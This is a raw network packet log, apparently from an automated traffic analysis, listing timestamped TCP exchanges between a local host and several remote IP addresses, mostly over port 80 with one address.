Nov 15, 2024 16:16:31.851320982 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851335049 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.851336002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851350069 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851372957 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851372957 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.851397991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851402044 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.851408958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851418972 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.851418972 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.851419926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851432085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851444006 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851454020 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851464033 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851475000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851483107 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.851536036 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851547956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851557016 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.851557016 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.851558924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851572037 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851583004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851594925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851605892 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851614952 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.851635933 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.851635933 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.851635933 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.851689100 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.861641884 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.861658096 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.863957882 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.864383936 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.871570110 CET	443	49860	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:31.871624947 CET	443	49860	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:31.871685982 CET	49860	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:31.871700048 CET	443	49860	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:31.872637987 CET	49860	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:31.872725964 CET	443	49860	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:31.872821093 CET	49860	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:31.884432077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.884457111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.884479046 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.884496927 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.884506941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.884519100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.884537935 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.884582996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.884594917 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.884627104 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.884627104 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.884782076 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.919960976 CET	443	49869	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.920140028 CET	443	49869	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.920211077 CET	49869	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.929502964 CET	49869	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.929527998 CET	443	49869	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.929541111 CET	49869	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.929548979 CET	443	49869	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.961458921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961471081 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961484909 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961498022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961530924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961543083 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961555958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961556911 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.961556911 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.961569071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961581945 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961626053 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.961674929 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961684942 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961704016 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961719990 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961730003 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.961749077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961760044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961777925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961790085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961791992 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.961802959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961816072 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961819887 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.961819887 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.961836100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961868048 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961891890 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961903095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.961903095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.961920977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961931944 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.961932898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961946964 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961960077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961970091 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.961973906 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.961983919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962021112 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962048054 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962048054 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962048054 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962048054 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962060928 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962073088 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962088108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962091923 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962091923 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962110996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962111950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962125063 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962136984 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962147951 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962155104 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962182045 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962198019 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962207079 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962207079 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962212086 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962225914 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962239027 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962251902 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962251902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962265968 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962279081 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962291956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962299109 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962299109 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962305069 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962317944 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962321043 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962327957 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962332964 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962347031 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962358952 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962363005 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962373018 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962388992 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962402105 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962415934 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962430000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962443113 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962474108 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962474108 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962496996 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962496996 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962513924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962527990 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962539911 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962575912 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962575912 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962631941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962644100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962650061 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962662935 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962675095 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962687969 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962716103 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962728024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962728024 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962728024 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962740898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962754011 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962778091 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962811947 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962811947 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962826014 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962838888 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962851048 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962893963 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962920904 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962934017 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962945938 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962959051 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962961912 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.962980032 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.962980032 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.963012934 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963027000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963059902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963073969 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963088036 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963088989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.963088989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.963088989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.963114977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963128090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963135958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.963143110 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963166952 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963180065 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963182926 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.963182926 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.963213921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963217974 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.963228941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963243008 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963275909 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.963275909 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.963324070 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.963849068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963861942 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963886976 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963906050 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963917971 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963922977 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.963932037 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963947058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963952065 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.963984013 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.963994980 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.963994980 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.964016914 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.964030027 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.964040995 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.964052916 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.964066029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.964066029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.964087963 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.964327097 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.964360952 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.964382887 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.964396000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.964576006 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.964613914 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.964638948 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.964659929 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.964670897 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.964698076 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.964747906 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.964793921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.964807034 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.964818954 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.964864016 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.964864969 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965002060 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965015888 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965035915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965054035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965076923 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965090036 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965106964 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965114117 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965114117 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965114117 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965140104 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965152979 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965162992 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965167046 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965176105 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965187073 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965203047 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965225935 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965234041 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965234041 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965236902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965243101 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965261936 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965269089 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965276957 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965291023 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965302944 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965333939 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965343952 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965356112 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965367079 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965377092 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965389013 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965400934 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965411901 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965423107 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965434074 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965437889 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965454102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965454102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965454102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965454102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965454102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965460062 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965482950 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965508938 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965519905 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965522051 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965519905 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965534925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965559006 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965564013 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965576887 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965576887 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965591908 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965605021 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965611935 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965635061 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965646029 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965646982 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965661049 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965672970 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965675116 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965699911 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965703011 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965713024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965720892 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965725899 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965735912 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965744019 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965749979 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965761900 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965779066 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965791941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965801954 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965812922 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965815067 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965818882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965826035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965837002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965864897 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965876102 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965889931 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965912104 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965924025 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965934992 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965936899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965936899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965936899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965936899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965948105 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965961933 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965981960 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.965991974 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.965998888 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.966006041 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966027975 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966037989 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966049910 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966061115 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966070890 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.966093063 CET	80	49759	185.215.113.206	192.168.2.5
